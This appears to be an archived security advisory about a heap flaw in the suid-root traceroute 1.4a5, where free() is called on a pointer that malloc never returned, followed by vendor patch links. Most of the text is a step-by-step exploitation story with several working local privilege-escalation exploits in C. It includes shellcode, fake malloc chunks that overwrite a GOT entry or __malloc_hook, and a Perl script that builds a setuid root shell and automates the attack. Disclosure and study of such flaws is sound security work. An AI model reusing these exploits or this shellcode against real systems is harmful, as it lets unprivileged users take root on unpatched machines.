COMMAND
traceroute
SYSTEMS AFFECTED
LBNL 1.4a5 (Where LBNL = Lawrence Berkeley National Laboratory)
PROBLEM
Chris Evans found following. He did not discover this flaw. The
flaw was discovered by Pekka Savola, who noted that traceroute
could be caused to crash, which is pretty suboptimal behaviour for
a suid-root program. Chris took this forward and speculate that
in fact this very minor code flaw may well be exploitable.
First, some background reading, namely Solar Designer's excellent
discussion on the generic exploitation of heap overflows. The
discussion shows nicely how heap mismanagement is fatal. However,
overflowing a malloc()'ed buffer is not the only bad thing you can
do to the heap. In the case of traceroute, there was a reliable
way of making traceroute call free() on a pointer that was not
obtained with malloc().
This flaw in traceroute (if your version is vulnerable) is tickled
like this:
traceroute -g 1 -g 1 (guess is it didn't need a hostname)
Segmentation fault
Looking at the code, there is a file "savestr.c", which contains a
function savestr(). This savestr() function is essentially a
strdup() function, but with the difference that an attempt is
made to cut down on the number of malloc() calls. This is
accomplished by malloc()'ing a large block and handing out
pointers _inside_ this block as savestr() is repeatedly called.
So where does this all go wrong? Unfortunately, the clients of the
savestr() method seemed to treat savestr() like it was strdup() -
i.e. all pointers returned must be free()'d or you have a leak.
This is not the case, so we have the flaw: free() called on a
pointer not allocated by malloc().
Let's have a look at some cheesy ASCII diagram showing the block
of memory allocated by savestr():
-----------------------------------------------
| |
-----------------------------------------------
^ * ^
| |
address free()
returned called
by malloc() here (2nd
and 1st savestr() savestr call
call result)
The reason this is so serious is that the free() call will attempt
to do a bit of free chunk management. This involves memory writes.
The memory writes are controlled by a "malloc chunk" descriptor,
which resides just before the address returned by malloc(), and
passed by free(). Looking at the above diagram, the location of
the descriptor used by the faulty free() called is marked by a
"*". Bad news - that's in a region of memory controlled by the
malicious user.
No exploit is currently known, although it is believed than an
exploit could well be possible. A working exploit would be a
chilling reminder that the slightest flaw in a security sensitive
program is fatal, even if the flaw looks harmless at first glance.
If an exploit _is_ produced, it'll gain root access. Ouch. This
really should not be the case. A sensible and fault tolerant
traceroute solution should allocate a raw socket and then drop
privileges on startup (quite a few do this). This limits the
severity of the hole to being able to gain a raw socket. Not
good but infinitely better than a root compromise.
What is causing the segmentation fault is freeing of unallocated
memory, not the fact that you are calling free in the middle of a
chunk of malloced memory. This code will produce SIGBUS on
solaris and other hardware that supports a misaligned access
exceptions.
The second -g 1 causes a free() on an unallocated pointer. The
problem is that the second 'savestr' doesn't actually allocate a
chunk of memory for hi->name, so when free is called against the
bogus pointer it segfaults in chunk_free. The hi->name is
actually written to an unallocated, but unused portion of the
heap.
'dvorak' offered his text on this issue. This text starts with
the story about the exploit. The exploit can be found at the
end, but getting it to work might require reading the story.
We won't go into details about malloc internals because we think
it's not needed and you should be able to find that out yourself.
(ok probably closer to the truth is that we can't explain it as
clear as the source of malloc does: we don't understand the malloc
internals well enough to be able to explain it clearly.)
What you should know is that the internals of malloc work with
chunks in which they keep the data. Malloc gives out a pointer
to the memory to the user. These pointers are actually ((char
*)chunk)+8, hope that helps in the explanation. Its possible
to get free() to work with incorrect chunks, which is the base
for the exploit.
Using nice ascii it looks like:
chunk
|
|
+--->+--------------
| prev_size
+--------------
| size
+--->+--------------
| | fd or data
| +--------------
| | bk or data
| +--------------
| | ....
|
mem
chunk is used as pointer in the internals of malloc while mem is
the pointer given to the user. If the chunk is not being used
(that is the chunk hasn't been given to the user using malloc()
or the user has retunred the chunk) fd and bk are used to hold
pointers. If chunk is in use they are used to hold data.
What happens if free(mem) is called? First free() converts mem
into a chunk ((char *)mem) - 8) on the Intel. free() then calls
chunk_free() to do the rest.
The chunk given to chunk_free() as argument will be called 'p'
during the rest of the text. Using p->prev_size (the size of the
previous chunk) and p->size (the size of chunk p) chunk_free()
finds the previous chunk (called prev from now on) and the next
chunk (called next from now on). It then checks if next and/or
prev are chunks which aren't in use (by checking chunk->size &
PREV_INUSE). If they aren't p is linked into the double linked
list of free chunks using the fd and bk field of prev and/or next.
This linking into the free chunks list is done using the macro
'unlink':
#define unlink(P, BK, FD) \
{ \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}
If we manage to let chunk_free call unlink() with a chunk of which
the fields fd and bk have been filled in by us, we will be able to
change values in memory:
if chunk->fd = (int *) x and chunk->bk = (int *) y
after an unlink() of that chunk
x[3] will be y
and
y[2] will be x
Example source:
[dvorak@redhat free]$ cat free.c
void main(void) {
unsigned int *chunk;
int i;
unsigned int shellcode[10];
unsigned int ret_addr_2_change = 9;
/* Get some space */
chunk = malloc(0x8);
/* now setup the chunk to fool chunk_free()
By making prev_size negative it will look
_after_ this chunk in stead of in front of it
*/
chunk[0] = -0x10; /* prev_size */
chunk[1] = 0x8; /* size */
chunk[2] = shellcode; /* fd */
chunk[3] = shellcode; /* bk */
/* set fd to the adres of the return address - 3
the minus 3 is needed because fd[3] will become bk
bk will be set to point to our shellcode. Remember that
bk[2] will be changed to contain fd so that there should be
a jmp or so in the shellcode to skip that value.
*/
chunk[4+2] = (int) (&ret_addr_2_change - 3);
chunk[4+3] = (int) (shellcode);
/* set shellcode to 0 so that we can see the change */
memset(shellcode, 0, sizeof(shellcode));
printf("ret before call: %x\n", ret_addr_2_change);
printf("address of ret: %x\n", &ret_addr_2_change);
printf("address of shellcode: %x\n", shellcode);
/* remember we give mem to free which finds the chunk based on
that */
free(chunk+2);
printf("ret now: %x\n", ret_addr_2_change);
for (i = 0 ; i < 10; i++) {
printf("sh: %d : %x\n", i, shellcode[i]);
}
}
[dvorak@redhat free]$ make free
cc free.c -o free -g
free.c: In function `main':
free.c:8: warning: assignment makes pointer from integer without a
cast
free.c:15: warning: assignment makes integer from pointer without a
cast
free.c:16: warning: assignment makes integer from pointer without a
cast
free.c:1: warning: return type of `main' is not `int'
[dvorak@redhat free]$ ./free
ret before call: 9
address of ret: bffffb44
address of shellcode: bffffb48
ret now: bffffb48
sh: 0 : 0
sh: 1 : 0
sh: 2 : bffffb38
sh: 3 : 0
sh: 4 : 0
sh: 5 : 0
sh: 6 : 0
sh: 7 : 0
sh: 8 : 0
sh: 9 : 0
[dvorak@redhat free]$ exit
As we can see we successfully overwrote the return address with
the address of our shellcode. An extra example is at the end of
the text (main difference is that prev is now located on the
stack.) How do we use this to exploit traceroute?
First lets look at what we can do with traceroute. After parsing
of the second -g option, just before the call to freehostinfo()
the buffer looks like this:
---------------------------------------------
argument of first -g\x00argument of second -g
------------------------^--------------------
|
Free will be called with this address as argument. After
calculating the address of the chunk, free() will call
chunk_free(). The pointer that chunk_free() receives will point
to an address which contains the last 7 bytes of the argument to
the first -g option terminated by a '\0' byte.
What can we put into these 7 bytes? When looking at the source of
traceroute we see that these 7 bytes will be the last 7 bytes of
the argument supplied to the first -g option if and _only if_
inet_addr(argument) or gethostbyname(argument) returns without an
error. A quick look at the source of inet_addr gives us the
information that it will return success with an argument of
"ipaddr_in_dot_notation<space><what ever (binary data for
instance)>"
So we basically can get anything in those last 7 bytes except '\0'
bytes. This leads to the following chunk fields:
START of chunk
| prev_size | size |
XX XX XX XX XX XX XX 00
with XX non zero. Or converted to int's
p->prev_size = 0xXX XX XX XX with no byte equal to zero.
p->size = 0x00 XX XX XX with the msb equal to zero and the other 3 bytes non zero.
chunk_free finds it's next chunk using:
((char *)p) + (p->size & ~(PREV_INUSE)) // PREV_INUSE = 0x01
Next will be searched at 0x00010101 bytes above p at the least or
0x00ffffff bytes above p at most. Unfortunately this will never
lead to next being in addressable memory space so here the exploit
attempt ends.
'dvorak' was talking this over with Scrippie and he told him to
take a look at some of the runtime parameters of the malloc
system. One of these was the environment variable MALLOC_TOP_PAD_
which is used to pad sbrk calls. The result of MALLOC_TOP_PAD_
being set to 1000000 is that more then just the 1024 bytes
required by traceroute are allocated using sbrk. Now next could
be in addressable memory. Time for the real exploit.
First attempt. The first address should be
1.2.3.4 \xe0\xff\xff\xff\x01\x01\x01\x00
chunk_free would lookup 'next' and find it addressable and zero
(which would lead to a crash, at least it seemed to crash because
of did, but looking at the malloc source suggests that is should
work fine). It will then continue to find 'previous' which was
-0x20 in size or located 32 bytes after 'p'. We could set the
argument of the second -g option so that at 32 bytes after 'p'
there would be a correct chunk which would, when used in the
unlink(), lead to the return address being overwritten (and
hopefully to root).
The first problem showed immediately. One of the checks in
chunk_free is:
if (next == top(ar_ptr)) with ar_ptr = arena_ptr(p);
Looking at the source of malloc.c one can see that this will lead
to a crash of p points above the last block of malloced memory (ok
this isn't 100% correct but it should suffice for the
explanation). The last block of malloced memory is the block
returned by the malloc(1024) call in savestr.c of traceroute, but
this block is already free()'d after processing the first -g
option, so p was pointing to far in memory. One byte to far to
be exact. This was solved by not using 1.2.3.4 as ip-address but
using 1.2.33 instead (which is legal - look at inet_addr.c).
The exploit at that time looked like this:
/*
Just some notes to myself while coding told me what to do etc.
The first argv explains it in more human language the second
was used by me to try to organize my thoughts.
argv0: bS
argv1: -g the ip_address then the fake data for chunk p
argv1: 1.2.3.4 \xc0\xff\xff\xff\x04\x01\x01\x00
argv2: -g the ip address then some padding then the fd and bk
pointers which should give us root.
The weird calculation for the address of the
shellcode is because we can't really use nops etc
because
part of the code is overwritten (bk[2] = fd ..)
so we try to calculate where is will be placed
this calculation turned out to be incorrect ;)
argv2: 123.123.123.123 addr_2_change_etc shellcode_addres
(0xc0000000 - 8 - (strlen(argv3) + 1) - (strlen(env) +
1))
argv3: this argument will be used for the shellcode
including the extra jmp
argv3: jmp forward 12 bytes or so + nop nop nop + shellcode
*/
#include <stdio.h>
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh";
char jmp_forward[] = "\xeb\x0c";
/*
Stupid and useless function to convert an int to a character array
what happened to:
char p[5];
((int *)p) = val;
p[4] = '\0';
??
*/
void make_addr(char *res, unsigned int val)
{
int i;
char *p = (char *) &val;
for (i = 0; i < 4; i++)
res[i] = (char) *p++;
res[i] = '\0';
}
int main(int argc, char *argv[])
{
char addr1[1000];
char addr2[100];
char execute_me[100];
char *arg[] = {"./traceroute", addr1, addr2, execute_me, NULL};
char *env[] = {"MALLOC_TOP_PAD_=1000000", NULL};
char shell_addr[5];
char ret_addr[5];
/* the first argument -g option */
snprintf(addr1, sizeof(addr1), "-g9.2.3.3 "
"\xc0\xff\xff\xff\x04\x01\x01");
/* yeah I am lazy d0h */
memset(execute_me, 0x41, 100);
strncpy(execute_me, jmp_forward, strlen(jmp_forward));
strcpy(execute_me+20, shellcode);
/* this calculation is already a little bit better, but
still not good enough
*/
make_addr(shell_addr, 0xc0000000 - 8 - (strlen(arg[3]) + 1) -
(strlen(env[0]) + 1));
make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);
/* another failure.. in addr1 we set p->size to 0xffffffc0 or
-0x40 so the ret_addr and shell_addr are definitly at the wrong
spot, never drink and code is the lesson i guess.
*/
snprintf(addr2, sizeof(addr2), "-g1.2.3.4 %s %s", ret_addr, shell_addr);
/* talking about well hmm misplaced confidence in my own code */
printf("Going for root!!!\n");
execve(arg[0], arg, env);
}
Well as you can see in the comments we made an awful lot of stupid
mistakes which all make sure the exploit can't work. After trying
the above exploit 'dvorak' got a crash (how suprising). The first
problem was p being above the highest malloced block so he
changed the ip address of the first -g option to 1.2.33. This
eliminated the first crash.
Looking further into the result of his exploit 'dvorak' noticed
something weird. p->prev_size and p->size weren't even correct
(that is they weren't 0xffffffc0 and 0x00010101) and since both
are essential for the exploit to work he looked further into this
behaviour. After adding a couple of printf's to the traceroute
source (he is absolutely no gdb guru) the following showed:
traceroute-1.4a5]$ ./traceroute -g 245.245.245.245 -g 123.123.123.123
#
the first address of hi->name, this is the address of the buffer malloced in save_str
#
hi->name: 0804cf18
#
This is what the buffer looks like (well the 10 bytes before and the
first 13 bytes of the buffer) after the first savestr in gethostinfo
#
gethost, savestr:
00 00 00 00 00 00 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32
^
^ is the start of the buffer, just before it you can see the p->size
pointer which is 0x00000409(1033) 1032 for the size (1024 bytes data
and 8 bytes for the size and prev_size fields). The +1 is because the
PREV_INUSE is set.
#
after the calloc(addrs) in gethostinfo
#
gethost, calloc addrs:
00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32
#
The address of hi (struct hostinfo *) is below the address of the
buffer, which is logical because it has been calloc'd earlier then
the malloc(1024) in savestr. The addrs are located above the buffer
because they are calloc'd later.
#
hi: 0804cf08 hi->addrs: 0804d320
#
After the address is filled in into addrs, nothing to see because
addrs is located above the buffer.
#
gethost, calloc addrs filled in:
00 00 20 d3 04 08 09 04 00 00 32 34 35 2e 32 34 35 2e 32 34 35 2e 32
#
Back to the getopt loop, just after the return of getaddr(). In
getaddr() the hostinfo struct and addrs have been free'd, as well as
the buffer containing our data.
#
while getopt after getaddr:
00 00 20 d3 04 08 f1 10 00 00 a0 7f 10 40 a0 7f 10 40 32 34 35 2e 32
^
^ is the start of the buffer. As can be seen the contents have
changed, this is because of the free(). Now that p is on the free
list its fd and bk fields are in use and point to other free blocks.
The first 8 bytes will be overwritten with this data and since we are
putting in "1.2.33 etc" the first byte of our fake chunk will be
overwritten (something to keep in mind).
#
After calloc(addrs) for the second -g option the buffer is suddenly
zero'd out. The reason behind this is that the first calloc(addrs)
calloc'd data after our buffer (which was still malloc'd at that
time). Now that the buffer has been free'd the free memory is
assigned to this calloc.
#
gethost, calloc
addrs:
00 00 18 cf 04 08 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e1
#
Here we see that addrs indeed overlaps with our original buffer.
#
hi: 0804cf08 hi->addrs: 0804cf18
#
Then the converted ip-address gets filled in. And whats more those 4
bytes are under our full control (they represent the parts of the ip-
address given with the second -g option).
#
gethost, calloc addrs filled in:
00 00 18 cf 04 08 11 00 00 00 7b 7b 00 7b 00 00 00 00 00 00 00 00 e1
#
segfault after the second free.
#
Segmentation fault (core dumped)
So what do we have now? The first 4 bytes of the savestr buffer
are under full control. And what is also nice is that the bytes
placed after these 4 byte are zero as well as the bytes before the
4 bytes. So what's our next approach?
The buffer will look like this:
00 00 00 xx xx xx xx 00 00 00 00 00 00 00 00 00 00
With xx under our full control. We want to control p->size and
p->prev_size so we should make sure p points somewhere around
those xx's. What's a good place for it to point?
Immediately at the start would be nice, but it would also mean
that p->size is always 0 and thus that next would be the same as
p, which gives less flexibility. The easiest is to let p point to
the byte just before the xx's. That way prev_size would be
0xyyyyyy00 so that prev could be anywhere in memory (well not
completely, the last byte of it's address can't be chosen but
that shouldn't yield problems) and p->size would be 0x000000xx so
that next is at little above 'p'.
To get p to point to that addres free() should be called with p +
8 or (since the xx are at the start of the savestr buffer) the
first argument to -g should place 7 bytes in the buffer (including
the \0 byte). The exact value of these bytes doesn't matter since
they will be overwritten.
The second -g option should contain the ip address needed to get
the correct value for p->prev_size and p->size. Next we should
set up a prev record somewhere so that ((char *)p) - p->size
should point to it, and it should contain a next record a little
further in the second -g option.
The new exploit:
/*
argv0: at first it looks that this doesn't matter but since
this is the value found at the top of the stack and thus
it's length matter for the location of the shellcode.
argv0: bs
argv1: nothing is needed for this it should just contain
6 bytes and a 0 (and off course it should be acceptable
to inet_addr)
argv1: only specific length
addr1 will become: 4 bytes from addr2 + zeros
length so that p->size = last byte + 3 zeros
p->prev_size = first 3 bytes + 00
thus: 6 bytes + 0
p data:
size = 0x20 or so;
prev_size = ((char *)p) - ((char *) eleet stack pointer)
p = addr2 - 7 - 8
so next data should be on addr2 + 0x20 - 7 - 8
argv2: this requires much more thought, the ip_address should be
so that p->prev_size and p->size make sense.
p->prev_size should be so that prev can be found on the
stack since that's an easy place to put it, p->size should
be 0x20 or so so that we can put the next chunk in this
argument too.
argv2: ip addres so that: p->size makes sure next is
somewhere in argv2
p->prev_size should point to eleet data on stack (through
environment)
spacing: next data:
prev_size = 0x41414141;
size = 0xfffffff0
fd = some_random_pointer (or you could use him)
bk = some_random_pointer
after that: data for next (prev_size + size + fd + bk)
prev_size probably negative
argv3: contains the chunk used for prev and the shellcode
including the jmp.
argv3: eleet data on stack + eleet shellcode baby
eleet data:
prev_size = BS;
size = BS
fd = &ret_addr_change - 12
bk = shellcode;
shellcode = jmp forward + nops + code
*/
#include <stdio.h>
/*
easy shellcode - remember there is a certain trick in this baby like
not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
code itself so make sure there is something worthwhile in /tmp/sh
*/
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";
/*
code to jump forward
*/
char jmp_forward[] = "\xeb\x0c";
/*
again the stupid make_addr function ;)
*/
void make_addr(char *res, unsigned int val)
{
int i;
char *p = (char *) &val;
for (i = 0; i < 4; i++)
res[i] = (char) *p++;
res[i] = '\0';
}
/*
which argument number contains the leet_addr and the shellcode?
*/
#define LEETARG 7
int main(int argc, char *argv[])
{
char addr1[1000];
char addr2[1000];
char padding[256];
char execute_me[1000];
int execute_shift = 0;
/* next data: prev_size = crap, size=crap and fd and bk
point to someplace innocent in the stack, if you want
to you can use it to change a second memory place.
*/
char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
"\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
char *leet_data;
/*
The arguments to start traceroute with, -g separated from its
argument because of getopt.
*/
char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
addr2, "127.0.0.1", "12", execute_me, NULL};
unsigned int leet_amount;
/*
This needs some explanation: since the prev chunk will be at
a certain distance from p we need to know p since it changes
from binary to binary we'll let the attacker figure it out
and give it to us ;).
*/
unsigned int p = strtoul(argv[2], 0, 0);
char shell_addr[5];
char ret_addr[5];
/* the first addr 6 bytes long */
snprintf(addr1, sizeof(addr1), "1.2.11");
/*
First we fill execute_me (which will make the LEETARG) with
0x41 thats both a NOP and easy to find on the stack.
*/
memset(execute_me, 0x41, sizeof(execute_me));
/*
We put the shellcode and the jmp at the end of execute_me
*/
strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
jmp_forward, strlen(jmp_forward));
strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
shellcode);
/*
Calculate the address of the shell_code
the stack at startup looks like:
arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
since the environment is gone and LEETARG is the last argument
we only need the length of the shellcode and the length of arg0
*/
make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
(strlen(shellcode) +1 + 20));
/*
We also ask the attacker to give the address of the pointer to
change to point to the shellcode. Something in the GOT is
usually very nice
*/
make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);
/*
leet_data should be in 0xbfff fe00 + (p & 0xff)
now we calculate the address where chunk_free() will look for
prev chunk.
We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
the precise position is defined by the lsb of p.
*/
printf("p: 0x%08x\n", p);
leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
printf("leet_data: 0x%08x\n", leet_data);
/*
calculate the value of p->prev_size
*/
leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
printf("leet_amount: 0x%08x\n", leet_amount);
/* the end of execute_me will be on 0xc0000000 - 8
length of execute_me should thus be:
0xc0000000 - leet_data - 8
2 possibilities: either don't put the fake prev chunk at the
beginning of execute_me or change the length of execute_me
we choose the latter.
*/
execute_shift = sizeof(execute_me) -
(0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
printf("execute_shift: %d\n", execute_shift);
arg[LEETARG] += execute_shift;
/*
use strcpy not snprintf since snprintf does 0 terminated its
strings
*/
strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
strncpy(arg[LEETARG]+8, ret_addr, 4);
strncpy(arg[LEETARG]+12, shell_addr, 4);
printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
strlen(arg[0]));
printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
strlen(arg[0]) - strlen(arg[LEETARG]) - 2);
/*
pad the second -g option to place next chunk on the expected
position
*/
memset(padding, ' ', sizeof(padding));
/*
0x20 - p->size
- 7 because thats the size of addr1
- 8 for p->size and p->prev_size
- 12 for addr2 (xx.xx.xx.xx )
*/
padding[0x20 - 7 - 8 - 12] = '\0';
printf("padding: %d bytes\n", strlen(padding));
/*
put hex equivalent of leet amount in ip_address
*/
snprintf(addr2, sizeof(addr2),
"0x%02x.0x%02x.0x%02x.0x%02x%s%s",
((unsigned char *) &leet_amount)[1],
((unsigned char *) &leet_amount)[2],
((unsigned char *) &leet_amount)[3],
0x20,
padding, next_data);
/*
This time it should work ;)
*/
printf("Going for root!!!\n");
execve(arg[0], arg, NULL);
}
Well - that's it a working exploit for traceroute tested under
redhat 6.1, 6.2, debian potato if you have problems or solutions
for certain questions raised in this text please contact me.
Oops indeed might have forgotten that: How to get the correct
value for p?
$cp /usr/sbin/traceroute ./tra
$ltrace ./tra -g1
ltrace can be found at:
ftp.nluug.nl/pub/os/Linux/distr/debian/dists/stable/main/source/utils/
ltrace.*.tgz
Then look at the return value for the malloc(1024) call substract
1 and voila. Copy the binary first as you can't ltrace a suid
binary. A GOT entry is best as the address to change try exit(),
getopt() or fprintf(). (if you don't know how to get a GOT
address though luck, go read a couple of phracks or so and come
back later).
To exploit debian 2.2: debian has MAXHOSTLEN defined as 64 so
argument 2 is to long: solution: move next chunk forward from
0x40 to 0x20 or so. RedHat 6.2 has the same problem therefore
'dvorak' patched the exploit himself.
#!/bin/perl
# build exploit
system("make ex_god");
system("echo 'void main(void) { setuid(0); setgid(0);
execl(\"/bin/sh\", \"sh\", 0);}' > /tmp/sh.c ; make /tmp/sh >
/dev/null 2>/dev/null");
# get p
system("cp /usr/sbin/traceroute ./tra; ltrace -e malloc -o lk ./tra
-g1 > /dev/null 2>/dev/null; rm ./tra");
open F, "<lk";
$line = <F>;
($dummy, $p) = split( /\= /, $line,2);
$p = (hex $p) - 1;
close F;
# get a GOT entry
open F, "objdump -R /usr/sbin/traceroute | grep getopt|";
$line = <F>;
($got, $dummy) = split( / /, $line, 2);
close F;
system("./ex_god 0x$got $p");
--------------------
/*
An other free example which places part of the chunk on the stack
*/
void main(int argc, char *argv[]) {
unsigned int *chunk;
int i;
unsigned int shellcode[10];
unsigned int ret_addr_2_change = 9;
unsigned int stack[1000];
char *p;
chunk = malloc(16455*4);
chunk = chunk + 22;
printf("malloc: %x\n", chunk);
/* prev_size */
chunk[0] = -(((char *) stack) - ((char *) chunk));
chunk[1] = 0x10; /* size */
chunk[2] = -0x10; /* fd */
chunk[3] = -0x10; /* bk */
printf("re: %p\n", &ret_addr_2_change);
printf("sh: %p\n", shellcode);
chunk[4+0] = 0x41414141; /* next */
chunk[4+1] = 0xfffffff0;
chunk[4+2] = (int) (&ret_addr_2_change - 3);
chunk[4+3] = (int) (shellcode);
stack[+0] = 0x1; /* prev */
stack[+1] = 0x2;
stack[+2] = shellcode+5;
stack[+3] = shellcode+5;
memset(shellcode, 0, sizeof(shellcode));
for (i = -4; i < 8; i++)
printf("chunk: %d: %08x\n", i, chunk[i]);
free(chunk+2);
printf("ret now: %x\n", ret_addr_2_change);
for (i = 0 ; i < 10; i++) {
printf("sh: %d : %x\n", i, shellcode[i]);
}
}
Here is simpler one:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char code[] =
"\xeb\x34" /* jmp GETADDR */
"\x90\x90\x90\x90" /* nop nop nop nop */
"\x90\x90\x90\x90" /* nop nop nop nop */
"\x90\x90\x90\x90" /* nop nop nop nop */
"\x90\x90\x90\x90" /* nop nop nop nop */
/* RUNPROG: */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xfe\x06" /* incb (%esi) */
"\xfe\x46\x04" /* incb 0x4(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* GETADDR: */
"\xe8\xd7\xff\xff\xff" /* call RUNPROG */
".bin.sh"; /* Program to run .XXX.XX */
extern void *__malloc_hook;
typedef struct glue {
int a;
int b;
void *p;
void *q;
} glue;
void print_hex(char *p)
{
char *q;
q=p;
while(*q) {
if (*q > 32 && *q < 127) {
printf("%c",*q);
} else {
printf(" ");
}
q++;
}
}
int main(void)
{
int ipa=0x2E312E31;
int ipb=0x20312E31;
int oh=0x00000000;
int dummy=0x43434343;
void *mh=(void **)__malloc_hook;
void *usage=(void *)0x804a858;
/* void *us=(void *)0x804cd80;*/
void *us=(void *)0x804cd7a;
char buf[260];
char whocares[4096];
char *prog="/tmp/traceroute";
glue temp;
FILE *out;
printf ("malloc_hook %x code %x\n",mh, usage);
memset(buf, 0x47,256);
buf[255]='\0';
printf ("buf: %s\n", buf);
temp.a=ipa;
temp.b=ipb;
temp.p=mh;
temp.q=us+16;
memcpy(buf, (void *)&temp,16);
printf ("buf: %s\n", buf);
temp.p=(void *)oh;
temp.q=(void *)oh;
temp.a=dummy;
/* temp.b=dummy;*/
temp.b=0xFFFFFF01;
printf("code(%d)\n", sizeof(code));
strncpy(buf+16, code, sizeof(code) -1);
memcpy(buf+240, (void *)&temp, 0x10);
printf ("buf: %s\n", buf);
buf[255]='\0';
out=fopen("/tmp/code","w");
fputs(buf,out);
fclose(out);
printf("%s\n",whocares);
execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL);
return 0;
}
SOLUTION
Safe are: LBNL 1.4a7 and RedHat7.0 traceroute (1.4a5 + a patch).
RedHat-7.0 includes a patch to get a raw socket then drop privs at
startup. Hopefully this will be hoovered up into the upstream
traceroute source tarball. It does not appear to be in version
1.4a7.
For Caldera Linux:
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/traceroute-1.4a5-9.i386.rpm
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/SRPMS/traceroute-1.4a5-9.src.rpm
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/traceroute-1.4a5-9.i386.rpm
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/SRPMS/traceroute-1.4a5-9.src.rpm
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/traceroute-1.4a5-9.i386.rpm
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/SRPMS/traceroute-1.4a5-9.src.rpm
For Conectiva Linux:
ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/traceroute-1.4a7-2cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/traceroute-1.4a7-2cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/traceroute-1.4a7-2cl.i386.rpm
For Linux-Mandrake:
Linux-Mandrake 6.0: 6.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
6.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm
Linux-Mandrake 6.1: 6.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
6.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm
Linux-Mandrake 7.0: 7.0/RPMS/traceroute-1.4a5-12mdk.i586.rpm
7.0/SRPMS/traceroute-1.4a5-12mdk.src.rpm
Linux-Mandrake 7.1: 7.1/RPMS/traceroute-1.4a5-12mdk.i586.rpm
7.1/SRPMS/traceroute-1.4a5-12mdk.src.rpm
For RedHat:
ftp://updates.redhat.com/5.2/alpha/traceroute-1.4a5-24.5x.alpha.rpm
ftp://updates.redhat.com/5.2/sparc/traceroute-1.4a5-24.5x.sparc.rpm
